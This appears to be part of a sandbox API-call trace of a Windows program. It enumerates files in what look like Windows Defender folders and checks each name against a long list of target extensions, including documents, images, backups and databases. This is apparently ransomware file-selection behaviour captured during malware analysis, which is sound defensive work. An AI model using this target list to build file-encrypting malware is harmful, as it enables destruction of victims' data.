	[0179.456] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0179.456] lstrlenW (lpString=".pm") returned 3
	[0179.456] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0179.456] lstrlenW (lpString=".png") returned 4
	[0179.456] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0179.456] lstrlenW (lpString=".pnm") returned 4
	[0179.456] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0179.456] lstrlenW (lpString=".pot") returned 4
	[0179.456] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0179.456] lstrlenW (lpString=".potm") returned 5
	[0179.456] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0179.456] lstrlenW (lpString=".potx") returned 5
	[0179.456] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0179.456] lstrlenW (lpString=".ppa") returned 4
	[0179.456] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0179.456] lstrlenW (lpString=".ppam") returned 5
	[0179.456] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0179.456] lstrlenW (lpString=".ppm") returned 4
	[0179.456] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".pps") returned 4
	[0179.457] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".ppsm") returned 5
	[0179.457] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0179.457] lstrlenW (lpString=".ppt") returned 4
	[0179.457] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".pptm") returned 5
	[0179.457] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0179.457] lstrlenW (lpString=".pptx") returned 5
	[0179.457] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0179.457] lstrlenW (lpString=".prn") returned 4
	[0179.457] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".ps") returned 3
	[0179.457] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0179.457] lstrlenW (lpString=".psb") returned 4
	[0179.457] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".psd") returned 4
	[0179.457] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".pst") returned 4
	[0179.457] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".ptx") returned 4
	[0179.457] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".pub") returned 4
	[0179.457] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".pwm") returned 4
	[0179.457] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".pxr") returned 4
	[0179.457] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0179.457] lstrlenW (lpString=".py") returned 3
	[0179.458] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0179.458] lstrlenW (lpString=".qt") returned 3
	[0179.458] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0179.458] lstrlenW (lpString=".r3d") returned 4
	[0179.458] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0179.458] lstrlenW (lpString=".raf") returned 4
	[0179.458] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0179.458] lstrlenW (lpString=".rar") returned 4
	[0179.458] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0179.458] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0179.458] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1
	[0179.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1
	[0179.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpResL.dll.mui", cAlternateFileName="")) returned 1
	[0179.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe.mui", cAlternateFileName="")) returned 1
	[0179.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement.dll.mui", cAlternateFileName="")) returned 1
	[0179.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9063ce53, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x13c34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement.mfl", cAlternateFileName="")) returned 1
	[0179.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement_Uninstall.mfl", cAlternateFileName="")) returned 1
	[0179.460] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 1
	[0179.460] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 0
	[0179.460] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0179.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0179.461] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0179.461] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="FepUnregister.mof", cAlternateFileName="")) returned 1
	[0179.462] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f9baad, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x173a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0179.462] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b1fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAzSubmit.dll", cAlternateFileName="")) returned 1
	[0179.462] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ca0b8b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xe9da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1
	[0179.462] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f2939c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6af10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1
	[0179.462] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x874d15c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x53fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1
	[0179.462] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1
	[0179.463] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x880bd29, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1
	[0179.463] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpProvider.dll", cAlternateFileName="")) returned 1
	[0179.463] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6507363, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xac7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpRtp.dll", cAlternateFileName="")) returned 1
	[0179.463] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x842bfe5, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x2099a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1
	[0179.463] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x53a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpuxhostproxy.dll", cAlternateFileName="")) returned 1
	[0179.463] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpUXSrv.exe", cAlternateFileName="")) returned 1
	[0179.464] lstrlenW (lpString="MpUXSrv.exe") returned 11
	[0179.464] lstrlenW (lpString=".1cd") returned 4
	[0179.464] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0179.464] lstrlenW (lpString=".3ds") returned 4
	[0179.464] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0179.464] lstrlenW (lpString=".3fr") returned 4
	[0179.464] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0179.464] lstrlenW (lpString=".3g2") returned 4
	[0179.464] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0179.464] lstrlenW (lpString=".3gp") returned 4
	[0179.464] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0179.464] lstrlenW (lpString=".7z") returned 3
	[0179.464] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0179.464] lstrlenW (lpString=".accda") returned 6
	[0179.464] lstrcmpiW (lpString1=".accda", lpString2="rv.exe") returned -1
	[0179.464] lstrlenW (lpString=".accdb") returned 6
	[0179.464] lstrcmpiW (lpString1=".accdb", lpString2="rv.exe") returned -1
	[0179.465] lstrlenW (lpString=".accdc") returned 6
	[0179.465] lstrcmpiW (lpString1=".accdc", lpString2="rv.exe") returned -1
	[0179.465] lstrlenW (lpString=".accde") returned 6
	[0179.465] lstrcmpiW (lpString1=".accde", lpString2="rv.exe") returned -1
	[0179.465] lstrlenW (lpString=".accdt") returned 6
	[0179.465] lstrcmpiW (lpString1=".accdt", lpString2="rv.exe") returned -1
	[0179.465] lstrlenW (lpString=".accdw") returned 6
	[0179.465] lstrcmpiW (lpString1=".accdw", lpString2="rv.exe") returned -1
	[0179.465] lstrlenW (lpString=".adb") returned 4
	[0179.465] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0179.465] lstrlenW (lpString=".adp") returned 4
	[0179.465] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0179.465] lstrlenW (lpString=".ai") returned 3
	[0179.465] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0179.465] lstrlenW (lpString=".ai3") returned 4
	[0179.465] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0179.465] lstrlenW (lpString=".ai4") returned 4
	[0179.465] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0179.465] lstrlenW (lpString=".ai5") returned 4
	[0179.465] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0179.465] lstrlenW (lpString=".ai6") returned 4
	[0179.465] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0179.465] lstrlenW (lpString=".ai7") returned 4
	[0179.465] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0179.465] lstrlenW (lpString=".ai8") returned 4
	[0179.465] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0179.466] lstrlenW (lpString=".anim") returned 5
	[0179.466] lstrcmpiW (lpString1=".anim", lpString2="v.exe") returned -1
	[0179.466] lstrlenW (lpString=".arw") returned 4
	[0179.466] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0179.466] lstrlenW (lpString=".as") returned 3
	[0179.466] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0179.466] lstrlenW (lpString=".asa") returned 4
	[0179.466] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0179.466] lstrlenW (lpString=".asc") returned 4
	[0179.466] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0179.466] lstrlenW (lpString=".ascx") returned 5
	[0179.466] lstrcmpiW (lpString1=".ascx", lpString2="v.exe") returned -1
	[0179.466] lstrlenW (lpString=".asm") returned 4
	[0179.466] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0179.466] lstrlenW (lpString=".asmx") returned 5
	[0179.466] lstrcmpiW (lpString1=".asmx", lpString2="v.exe") returned -1
	[0179.466] lstrlenW (lpString=".asp") returned 4
	[0179.466] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0179.466] lstrlenW (lpString=".aspx") returned 5
	[0179.466] lstrcmpiW (lpString1=".aspx", lpString2="v.exe") returned -1
	[0179.466] lstrlenW (lpString=".asr") returned 4
	[0179.466] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0179.466] lstrlenW (lpString=".asx") returned 4
	[0179.466] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0179.466] lstrlenW (lpString=".avi") returned 4
	[0179.467] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".avs") returned 4
	[0179.467] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".backup") returned 7
	[0179.467] lstrcmpiW (lpString1=".backup", lpString2="Srv.exe") returned -1
	[0179.467] lstrlenW (lpString=".bak") returned 4
	[0179.467] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".bay") returned 4
	[0179.467] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".bd") returned 3
	[0179.467] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0179.467] lstrlenW (lpString=".bin") returned 4
	[0179.467] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".bmp") returned 4
	[0179.467] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".bz2") returned 4
	[0179.467] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".c") returned 2
	[0179.467] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0179.467] lstrlenW (lpString=".cdr") returned 4
	[0179.467] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".cer") returned 4
	[0179.467] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".cf") returned 3
	[0179.467] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0179.467] lstrlenW (lpString=".cfc") returned 4
	[0179.467] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0179.467] lstrlenW (lpString=".cfm") returned 4
	[0179.468] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0179.468] lstrlenW (lpString=".cfml") returned 5
	[0179.468] lstrcmpiW (lpString1=".cfml", lpString2="v.exe") returned -1
	[0179.468] lstrlenW (lpString=".cfu") returned 4
	[0179.468] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0179.468] lstrlenW (lpString=".chm") returned 4
	[0179.468] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0179.468] lstrlenW (lpString=".cin") returned 4
	[0179.468] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0179.468] lstrlenW (lpString=".class") returned 6
	[0179.469] lstrcmpiW (lpString1=".class", lpString2="rv.exe") returned -1
	[0179.469] lstrlenW (lpString=".clx") returned 4
	[0179.469] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0179.469] lstrlenW (lpString=".config") returned 7
	[0179.469] lstrcmpiW (lpString1=".config", lpString2="Srv.exe") returned -1
	[0179.469] lstrlenW (lpString=".cpp") returned 4
	[0179.469] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0179.469] lstrlenW (lpString=".cr2") returned 4
	[0179.469] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0179.469] lstrlenW (lpString=".crt") returned 4
	[0179.469] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0179.469] lstrlenW (lpString=".crw") returned 4
	[0179.469] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0179.469] lstrlenW (lpString=".cs") returned 3
	[0179.469] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0179.469] lstrlenW (lpString=".css") returned 4
	[0179.469] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0179.469] lstrlenW (lpString=".csv") returned 4
	[0179.469] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0179.469] lstrlenW (lpString=".cub") returned 4
	[0179.469] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dae") returned 4
	[0179.470] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dat") returned 4
	[0179.470] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".db") returned 3
	[0179.470] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0179.470] lstrlenW (lpString=".dbf") returned 4
	[0179.470] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dbx") returned 4
	[0179.470] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dc3") returned 4
	[0179.470] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dcm") returned 4
	[0179.470] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dcr") returned 4
	[0179.470] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".der") returned 4
	[0179.470] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dib") returned 4
	[0179.470] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dic") returned 4
	[0179.470] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".dif") returned 4
	[0179.470] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0179.470] lstrlenW (lpString=".divx") returned 5
	[0179.470] lstrcmpiW (lpString1=".divx", lpString2="v.exe") returned -1
	[0179.470] lstrlenW (lpString=".djvu") returned 5
	[0179.470] lstrcmpiW (lpString1=".djvu", lpString2="v.exe") returned -1
	[0179.470] lstrlenW (lpString=".dng") returned 4
